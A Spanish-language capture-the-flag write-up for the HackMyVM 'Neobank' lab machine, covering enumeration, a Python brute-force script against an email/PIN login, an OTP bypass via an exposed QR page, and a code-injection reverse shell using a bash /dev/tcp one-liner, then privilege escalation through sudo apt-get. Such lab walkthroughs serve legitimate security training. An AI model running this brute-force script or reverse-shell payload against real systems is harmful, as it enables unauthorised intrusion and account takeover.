HackMyVM Neobank — Linux

Gm4tsyGm4tsy
5 min read

Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.

Descargamos el archivo de la página https://hackmyvm.eu/machines/

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.

Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan para ver la dirección IP en nuestra red que sería la 192.168.0.145.

Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.

Empezamos con un escaneo de puertos y podemos ver que solo tenemos 1 puerto abierto.

Realizando un escaneo más profundo de los puertos identificados podemos observar que en este puerto tenemos un login.

Como se puede observar en el escaneo si ingresamos la dirección IP con el número de puerto en el navegador podemos ver que tenemos un login.

Realizando un escaneo de directorios podemos observar que encontró varios, pero el más llamativo es email_list.

Nos dirigimos a la dirección y podemos observar que tenemos una lista de correos.

Descargamos el contenido.

Para tener un buen formato primero abrimos el archivo con vim y hacemos

si todo se ingresó de manera correcta podemos observar que lo tenemos de esta manera.

Ahora para reemplazar las comas por un salto de línea ingresamos el siguiente comando.

Si ya tenemos todo correctamente, ingresamos un :wq.

Ahora probaremos realizando un ataque de fuerza bruta para el login, ya que ahora si contamos con posibles correos, por ello creamos una lista de números con el rango promedio que puede tener un pin.

Iniciamos nuestro burpsuite y enviamos la petición.

Luego de capturar la petición podemos enviarlo al intruder para hacer el ataque desde ahí, pero nos puede tomar mucho tiempo hacerlo por ahí, así que tomaremos en cuenta la estructura de la petición y lo haremos usando un script personalizado.

import random
import requests

url = "http://192.168.0.145:5000/login"
email_file = "email.txt"
pin_file = "pin.txt"

headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
}

# Cargar los correos
with open(email_file, "r") as f:
    emails = [line.strip() for line in f]

# Cargar los PINs
with open(pin_file, "r") as f:
    pins = [line.strip() for line in f]

# 🚀 Mezclar los PINs aleatoriamente
random.shuffle(pins)

# Ahora: para cada PIN aleatorio, intentar con todos los emails
for pin in pins:
    print(f"[+] Probando PIN: {pin}")
    for email in emails:
        data = {"email": email, "pin": pin}
        response = requests.post(url, data=data, headers=headers, allow_redirects=True)

        if "otp" in response.text:  # Verificamos si aparece el formulario OTP
            print(f"[*] Credenciales encontradas: {email}:{pin}")
            exit()
        else:
            print(f"[-] Falló: {email}:{pin}")

print("[+] Ataque finalizado.")

Ejecutamos y después de varios minutos podemos ver que tenemos el archivo correcto.

Probamos con el número y vemos que es correcto.

Ahora tenemos un formulario que nos pide el OTP.

Pero si vamos a qr podemos observar que tenemos acceso.

Para escanear este código, lo hacemos con un lector de código, puede ser el de Google authenticator y al ingresar podremos ver un código temporal que nos servirá para ingresar.

Luego de ingresar el código otp que se nos genera, ya podemos acceder a la página que nos indica.

Ingresamos un número y podemos observar que tenemos cambios en el campo de balance.

Si enviamos un texto podemos ver que nos da un error.

Siguiendo con las pruebas vemos que al enviar determinados símbolos nos devuelve un error 500.

Probamos con sintaxis de tipo eval(input) y no nos salta ningún error, pero aun probando algunos campos diferentes, vemos que la longitud de contenido, no varía el contenido, ya que el resultado no se refleja en alguna parte del código.

Probaremos revisando si de esta manera podemos establecer una revshell, para ello iniciamos nuestro listener.

Primero preparamos nuestra revshell.

bash -c 'bash -i >& /dev/tcp/192.168.0.109/1234 0>&1'
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.109%2F1234%200%3E%261%22

Luego reemplazamos en el comando y si en response se queda en blanco, es buena señal.

Al regresar a nuestro listener podemos observar que tenemos conexión.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola. Una vez hecho ello, listamos los archivos y podemos observar un main.py que al abrirlo podemos ver que tenemos un usuario y un password.

Abrimos el passwd podemos ver que el nombre de usuario coincide.

Probamos esas credenciales, pero no la están reutilizando.

Nos conectamos por mysql y podemos observar 2 tablas.

De las 2 tablas que encontramos, system es la que nos da un dato interesante.

Probamos las credenciales y estamos dentro como banker.

Realizamos un sudo -l y tenemos el binario apt-get.

Si no sabemos como emplearlo, buscamos en la página de GTFOBins y podemos ver que hacer.

Ingresamos el primer comando

Nos abrirá un editor, y como cuando abrimos vim ingresamos el siguiente comando.

Luego de enviarlo podemos ver que somos root. De esta manera culminando esta máquina.

0
Subscribe to my newsletter

Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Gm4tsy
Gm4tsy